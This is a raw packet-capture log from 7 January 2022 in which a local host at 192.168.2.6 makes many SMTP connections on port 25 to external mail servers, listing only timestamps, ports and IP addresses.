Jan 7, 2022 15:42:51.662587881 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.662614107 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.662641048 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.662667990 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.662693024 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.662719011 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.662744999 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.662771940 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.662798882 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.662877083 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.662905931 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.662930965 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.662957907 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.662983894 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663008928 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663089037 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663116932 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663333893 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663362026 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663389921 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663415909 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663444042 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663471937 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663496971 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663525105 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663552046 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663578033 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663604021 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663630962 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663657904 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663686037 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663711071 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663737059 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663821936 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663850069 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663877964 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663903952 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.663955927 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664052010 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664077997 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664104939 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664132118 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664156914 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664184093 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664210081 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664237022 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664326906 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664355993 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664382935 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664434910 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664460897 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664676905 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664705992 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664731979 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664758921 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664784908 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664808989 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664834976 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664885044 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.664911032 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.665054083 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.665083885 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.665111065 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.665137053 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.665163040 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.665190935 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.665288925 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.665318012 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.665344000 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.665446043 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.665513039 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.665540934 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.665568113 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.665595055 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.665621996 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.665877104 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.665977001 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.692351103 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.693645954 CET	25	49752	194.152.32.73	192.168.2.6
Jan 7, 2022 15:42:51.697693110 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.704792023 CET	49752	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:42:51.746731997 CET	25	49752	194.152.32.73	192.168.2.6
Jan 7, 2022 15:42:51.746752024 CET	25	49752	194.152.32.73	192.168.2.6
Jan 7, 2022 15:42:51.747112036 CET	49752	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:42:51.770668030 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.770838976 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.788923025 CET	25	49752	194.152.32.73	192.168.2.6
Jan 7, 2022 15:42:51.788964987 CET	25	49752	194.152.32.73	192.168.2.6
Jan 7, 2022 15:42:51.789105892 CET	49752	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:42:51.831046104 CET	25	49752	194.152.32.73	192.168.2.6
Jan 7, 2022 15:42:51.831084967 CET	25	49752	194.152.32.73	192.168.2.6
Jan 7, 2022 15:42:51.831248999 CET	49752	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:42:51.831475973 CET	49752	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:42:51.873117924 CET	25	49752	194.152.32.73	192.168.2.6
Jan 7, 2022 15:42:51.873150110 CET	25	49752	194.152.32.73	192.168.2.6
Jan 7, 2022 15:42:51.873193979 CET	49752	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:42:51.873235941 CET	49752	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:42:51.873457909 CET	25	49752	194.152.32.73	192.168.2.6
Jan 7, 2022 15:42:51.873516083 CET	49752	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:42:51.984965086 CET	49753	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:42:52.005942106 CET	25	49753	195.3.96.71	192.168.2.6
Jan 7, 2022 15:42:52.006032944 CET	49753	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:42:52.116594076 CET	25	49753	195.3.96.71	192.168.2.6
Jan 7, 2022 15:42:52.117163897 CET	49753	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:42:52.138120890 CET	25	49753	195.3.96.71	192.168.2.6
Jan 7, 2022 15:42:52.138153076 CET	25	49753	195.3.96.71	192.168.2.6
Jan 7, 2022 15:42:52.138288975 CET	49753	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:42:52.159564018 CET	25	49753	195.3.96.71	192.168.2.6
Jan 7, 2022 15:42:52.159717083 CET	49753	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:42:52.159756899 CET	49753	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:42:52.181135893 CET	25	49753	195.3.96.71	192.168.2.6
Jan 7, 2022 15:42:52.181339025 CET	49753	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:42:52.181792021 CET	25	49753	195.3.96.71	192.168.2.6
Jan 7, 2022 15:42:52.181927919 CET	49753	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:42:53.091478109 CET	49754	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:42:53.133709908 CET	25	49754	91.136.8.41	192.168.2.6
Jan 7, 2022 15:42:53.133848906 CET	49754	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:42:55.172811031 CET	49755	25	192.168.2.6	67.195.204.73
Jan 7, 2022 15:42:55.211003065 CET	25	49754	91.136.8.41	192.168.2.6
Jan 7, 2022 15:42:55.211163044 CET	49754	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:42:55.253190041 CET	25	49754	91.136.8.41	192.168.2.6
Jan 7, 2022 15:42:55.255690098 CET	25	49754	91.136.8.41	192.168.2.6
Jan 7, 2022 15:42:55.286392927 CET	25	49755	67.195.204.73	192.168.2.6
Jan 7, 2022 15:42:55.286528111 CET	49755	25	192.168.2.6	67.195.204.73
Jan 7, 2022 15:42:55.303632975 CET	49754	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:42:55.345729113 CET	25	49754	91.136.8.41	192.168.2.6
Jan 7, 2022 15:42:55.444839954 CET	25	49754	91.136.8.41	192.168.2.6
Jan 7, 2022 15:42:55.468883038 CET	49754	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:42:55.504384995 CET	25	49755	67.195.204.73	192.168.2.6
Jan 7, 2022 15:42:55.504528999 CET	49755	25	192.168.2.6	67.195.204.73
Jan 7, 2022 15:42:55.511122942 CET	25	49754	91.136.8.41	192.168.2.6
Jan 7, 2022 15:42:55.514568090 CET	49756	25	192.168.2.6	104.47.22.161
Jan 7, 2022 15:42:55.525038004 CET	25	49754	91.136.8.41	192.168.2.6
Jan 7, 2022 15:42:55.525171995 CET	49754	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:42:55.525202036 CET	49754	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:42:55.525533915 CET	49757	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:42:55.528980970 CET	25	49749	213.186.119.6	192.168.2.6
Jan 7, 2022 15:42:55.529128075 CET	49749	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:42:55.557049990 CET	25	49756	104.47.22.161	192.168.2.6
Jan 7, 2022 15:42:55.557212114 CET	49756	25	192.168.2.6	104.47.22.161
Jan 7, 2022 15:42:55.566555023 CET	25	49757	91.136.8.46	192.168.2.6
Jan 7, 2022 15:42:55.566710949 CET	49757	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:42:55.567904949 CET	25	49754	91.136.8.41	192.168.2.6
Jan 7, 2022 15:42:55.567931890 CET	25	49754	91.136.8.41	192.168.2.6
Jan 7, 2022 15:42:55.567951918 CET	25	49754	91.136.8.41	192.168.2.6
Jan 7, 2022 15:42:55.567970991 CET	25	49754	91.136.8.41	192.168.2.6
Jan 7, 2022 15:42:55.568017960 CET	49754	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:42:55.568048954 CET	49754	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:42:55.589922905 CET	25	49749	213.186.119.6	192.168.2.6
Jan 7, 2022 15:42:55.590078115 CET	49749	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:42:55.599586010 CET	25	49756	104.47.22.161	192.168.2.6
Jan 7, 2022 15:42:55.599791050 CET	49756	25	192.168.2.6	104.47.22.161
Jan 7, 2022 15:42:55.619906902 CET	25	49755	67.195.204.73	192.168.2.6
Jan 7, 2022 15:42:55.619930029 CET	25	49755	67.195.204.73	192.168.2.6
Jan 7, 2022 15:42:55.620057106 CET	49755	25	192.168.2.6	67.195.204.73
Jan 7, 2022 15:42:55.640795946 CET	25	49756	104.47.22.161	192.168.2.6
Jan 7, 2022 15:42:55.643151045 CET	25	49756	104.47.22.161	192.168.2.6
Jan 7, 2022 15:42:55.643292904 CET	49756	25	192.168.2.6	104.47.22.161
Jan 7, 2022 15:42:55.651722908 CET	25	49749	213.186.119.6	192.168.2.6
Jan 7, 2022 15:42:55.651864052 CET	49749	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:42:55.684236050 CET	25	49756	104.47.22.161	192.168.2.6
Jan 7, 2022 15:42:55.689001083 CET	25	49756	104.47.22.161	192.168.2.6
Jan 7, 2022 15:42:55.689040899 CET	25	49756	104.47.22.161	192.168.2.6
Jan 7, 2022 15:42:55.696816921 CET	49756	25	192.168.2.6	104.47.22.161
Jan 7, 2022 15:42:55.697223902 CET	49756	25	192.168.2.6	104.47.22.161
Jan 7, 2022 15:42:55.697252989 CET	49756	25	192.168.2.6	104.47.22.161
Jan 7, 2022 15:42:55.728203058 CET	25	49749	213.186.119.6	192.168.2.6
Jan 7, 2022 15:42:55.728312016 CET	49749	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:42:55.728348970 CET	49749	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:42:55.728744984 CET	49758	25	192.168.2.6	193.239.71.112
Jan 7, 2022 15:42:55.735416889 CET	25	49755	67.195.204.73	192.168.2.6
Jan 7, 2022 15:42:55.735459089 CET	25	49755	67.195.204.73	192.168.2.6
Jan 7, 2022 15:42:55.735542059 CET	49755	25	192.168.2.6	67.195.204.73
Jan 7, 2022 15:42:55.735718012 CET	49755	25	192.168.2.6	67.195.204.73
Jan 7, 2022 15:42:55.735733032 CET	49755	25	192.168.2.6	67.195.204.73
Jan 7, 2022 15:42:55.736512899 CET	49759	25	192.168.2.6	98.136.96.76
Jan 7, 2022 15:42:55.738082886 CET	25	49756	104.47.22.161	192.168.2.6
Jan 7, 2022 15:42:55.738118887 CET	25	49756	104.47.22.161	192.168.2.6
Jan 7, 2022 15:42:55.773092985 CET	49760	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:55.788484097 CET	25	49749	213.186.119.6	192.168.2.6
Jan 7, 2022 15:42:55.788592100 CET	49749	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:42:55.788599968 CET	25	49749	213.186.119.6	192.168.2.6
Jan 7, 2022 15:42:55.788666964 CET	49749	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:42:55.831311941 CET	25	49760	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:55.831444979 CET	49760	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:55.849226952 CET	25	49755	67.195.204.73	192.168.2.6
Jan 7, 2022 15:42:55.849273920 CET	25	49755	67.195.204.73	192.168.2.6
Jan 7, 2022 15:42:55.867795944 CET	25	49759	98.136.96.76	192.168.2.6
Jan 7, 2022 15:42:55.867923975 CET	49759	25	192.168.2.6	98.136.96.76
Jan 7, 2022 15:42:55.900088072 CET	25	49760	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:55.906759977 CET	49760	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:55.964544058 CET	25	49760	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:55.964567900 CET	25	49760	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:55.964656115 CET	49760	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:56.023648024 CET	25	49760	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:56.023757935 CET	49760	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:56.043452024 CET	25	49759	98.136.96.76	192.168.2.6
Jan 7, 2022 15:42:56.046236992 CET	49759	25	192.168.2.6	98.136.96.76
Jan 7, 2022 15:42:56.056155920 CET	49761	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:56.094043016 CET	25	49760	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:56.094305992 CET	49760	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:56.094341993 CET	49760	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:56.110977888 CET	25	49761	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:56.111104012 CET	49761	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:56.152302027 CET	25	49760	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:56.152389050 CET	25	49760	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:56.152492046 CET	49760	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:56.152532101 CET	49760	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:56.172147036 CET	25	49761	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:56.174249887 CET	49761	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:56.177756071 CET	25	49759	98.136.96.76	192.168.2.6
Jan 7, 2022 15:42:56.177799940 CET	25	49759	98.136.96.76	192.168.2.6
Jan 7, 2022 15:42:56.178093910 CET	49759	25	192.168.2.6	98.136.96.76
Jan 7, 2022 15:42:56.229077101 CET	25	49761	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:56.229154110 CET	25	49761	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:56.278389931 CET	49761	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:56.309789896 CET	25	49759	98.136.96.76	192.168.2.6
Jan 7, 2022 15:42:56.309827089 CET	25	49759	98.136.96.76	192.168.2.6
Jan 7, 2022 15:42:56.310597897 CET	49759	25	192.168.2.6	98.136.96.76
Jan 7, 2022 15:42:56.602036953 CET	49761	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:56.602159023 CET	49759	25	192.168.2.6	98.136.96.76
Jan 7, 2022 15:42:56.602190971 CET	49759	25	192.168.2.6	98.136.96.76
Jan 7, 2022 15:42:56.602543116 CET	49762	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:56.658766031 CET	25	49761	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:56.658952951 CET	49761	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:56.699628115 CET	49763	25	192.168.2.6	74.208.5.20
Jan 7, 2022 15:42:56.716181993 CET	25	49762	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:56.716319084 CET	49762	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:56.721448898 CET	25	49761	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:56.725097895 CET	49761	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:56.725255013 CET	49761	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:56.733426094 CET	25	49759	98.136.96.76	192.168.2.6
Jan 7, 2022 15:42:56.733464956 CET	25	49759	98.136.96.76	192.168.2.6
Jan 7, 2022 15:42:56.780148029 CET	25	49761	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:56.780213118 CET	25	49761	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:56.780343056 CET	49761	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:56.780702114 CET	49761	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:56.845451117 CET	25	49763	74.208.5.20	192.168.2.6
Jan 7, 2022 15:42:56.846879959 CET	49763	25	192.168.2.6	74.208.5.20
Jan 7, 2022 15:42:56.994591951 CET	25	49763	74.208.5.20	192.168.2.6
Jan 7, 2022 15:42:56.994611025 CET	25	49763	74.208.5.20	192.168.2.6
Jan 7, 2022 15:42:56.994760990 CET	49763	25	192.168.2.6	74.208.5.20
Jan 7, 2022 15:42:56.994941950 CET	49763	25	192.168.2.6	74.208.5.20
Jan 7, 2022 15:42:56.995582104 CET	49764	25	192.168.2.6	74.208.5.22
Jan 7, 2022 15:42:57.023771048 CET	25	49762	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:57.048247099 CET	49762	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:57.129424095 CET	25	49764	74.208.5.22	192.168.2.6
Jan 7, 2022 15:42:57.129585981 CET	49764	25	192.168.2.6	74.208.5.22
Jan 7, 2022 15:42:57.140597105 CET	25	49763	74.208.5.20	192.168.2.6
Jan 7, 2022 15:42:57.161947966 CET	25	49762	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:57.161994934 CET	25	49762	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:57.215987921 CET	49762	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:57.235692978 CET	49762	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:57.267045975 CET	25	49764	74.208.5.22	192.168.2.6
Jan 7, 2022 15:42:57.267096043 CET	25	49764	74.208.5.22	192.168.2.6
Jan 7, 2022 15:42:57.267236948 CET	49764	25	192.168.2.6	74.208.5.22
Jan 7, 2022 15:42:57.349997997 CET	25	49762	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:57.350050926 CET	25	49762	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:57.350203037 CET	49762	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:57.638890028 CET	25	49757	91.136.8.46	192.168.2.6
Jan 7, 2022 15:42:57.684755087 CET	49757	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:42:57.975276947 CET	49764	25	192.168.2.6	74.208.5.22
Jan 7, 2022 15:42:57.975334883 CET	49762	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:57.975356102 CET	49762	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:57.975426912 CET	49757	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:42:58.016308069 CET	25	49757	91.136.8.46	192.168.2.6
Jan 7, 2022 15:42:58.017100096 CET	25	49757	91.136.8.46	192.168.2.6
Jan 7, 2022 15:42:58.059807062 CET	49757	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:42:58.081403017 CET	49757	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:42:58.089003086 CET	25	49762	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:58.089076996 CET	25	49762	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:58.109342098 CET	25	49764	74.208.5.22	192.168.2.6
Jan 7, 2022 15:42:58.122111082 CET	25	49757	91.136.8.46	192.168.2.6
Jan 7, 2022 15:42:58.201792002 CET	25	49757	91.136.8.46	192.168.2.6
Jan 7, 2022 15:42:58.201935053 CET	49757	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:42:58.242525101 CET	25	49757	91.136.8.46	192.168.2.6
Jan 7, 2022 15:42:58.251589060 CET	25	49757	91.136.8.46	192.168.2.6
Jan 7, 2022 15:42:58.251755953 CET	49757	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:42:58.252027035 CET	49757	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:42:58.252222061 CET	49765	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:42:58.292246103 CET	25	49757	91.136.8.46	192.168.2.6
Jan 7, 2022 15:42:58.292432070 CET	25	49757	91.136.8.46	192.168.2.6
Jan 7, 2022 15:42:58.292891026 CET	25	49757	91.136.8.46	192.168.2.6
Jan 7, 2022 15:42:58.292973995 CET	25	49765	91.136.8.47	192.168.2.6
Jan 7, 2022 15:42:58.292975903 CET	49757	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:42:58.293054104 CET	49765	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:42:58.293239117 CET	25	49757	91.136.8.46	192.168.2.6
Jan 7, 2022 15:42:58.293319941 CET	49757	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:42:58.731717110 CET	49758	25	192.168.2.6	193.239.71.112
Jan 7, 2022 15:42:59.468369007 CET	49766	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:42:59.528599024 CET	25	49766	213.186.119.6	192.168.2.6
Jan 7, 2022 15:42:59.528789997 CET	49766	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:42:59.718561888 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:59.745115042 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:59.745220900 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:59.773555040 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:59.773756027 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:59.800420046 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:59.803922892 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:59.804054022 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:59.830972910 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:59.831283092 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:59.863569021 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:59.977096081 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:59.977247000 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:59.997189045 CET	49768	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:43:00.003705025 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.004215956 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.004549026 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.005419016 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.032027006 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.032058954 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.032079935 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.032100916 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.032124043 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.032222033 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.032284021 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.036761045 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.036878109 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.039314985 CET	25	49768	194.152.32.73	192.168.2.6
Jan 7, 2022 15:43:00.039509058 CET	49768	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:43:00.058794975 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.058815002 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.058823109 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.058834076 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.058844090 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.058851957 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.058865070 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.058875084 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.058882952 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.058890104 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.058907032 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.058923006 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.058948040 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.058978081 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.058995008 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.059004068 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.059003115 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.059017897 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.059056044 CET	49767	25	192.168.2.6	108.177.119.26
